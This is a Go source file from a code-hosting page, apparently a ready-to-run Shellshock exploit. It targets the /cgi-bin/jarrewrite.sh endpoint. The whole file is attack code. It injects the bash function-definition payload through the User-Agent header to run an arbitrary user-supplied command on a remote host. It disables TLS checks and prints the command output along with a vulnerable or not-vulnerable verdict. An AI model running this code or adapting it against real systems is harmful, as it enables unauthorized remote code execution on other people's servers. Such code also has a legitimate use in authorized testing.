-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.go
54 lines (41 loc) · 1.03 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package main
import (
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
"github.com/gookit/color"
)
func main() {
ipPtr := flag.String("i", "", "target ip")
cmdPtr := flag.String("c", "echo", "Commands: e.g ifconfig, id, etc.")
flag.Parse()
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, err := http.NewRequest("GET", "https://"+*ipPtr+"/cgi-bin/jarrewrite.sh", nil)
if err != nil {
}
req.Host = *ipPtr
req.Header.Set("User-Agent", "() { :; }; echo ; /bin/bash -c '"+*cmdPtr+"'")
req.Header.Set("Connection", "close")
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "en")
req.Header.Set("Accept-Encoding", "gzip, deflate")
resp, err := client.Do(req)
if err != nil {
color.Red.Println(*ipPtr, " [NOT VULNERABLE] ")
return
} else {
color.Green.Print(*ipPtr, " [VULNERABLE] ")
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalln(err)
}
fmt.Printf("%s\n", body)
}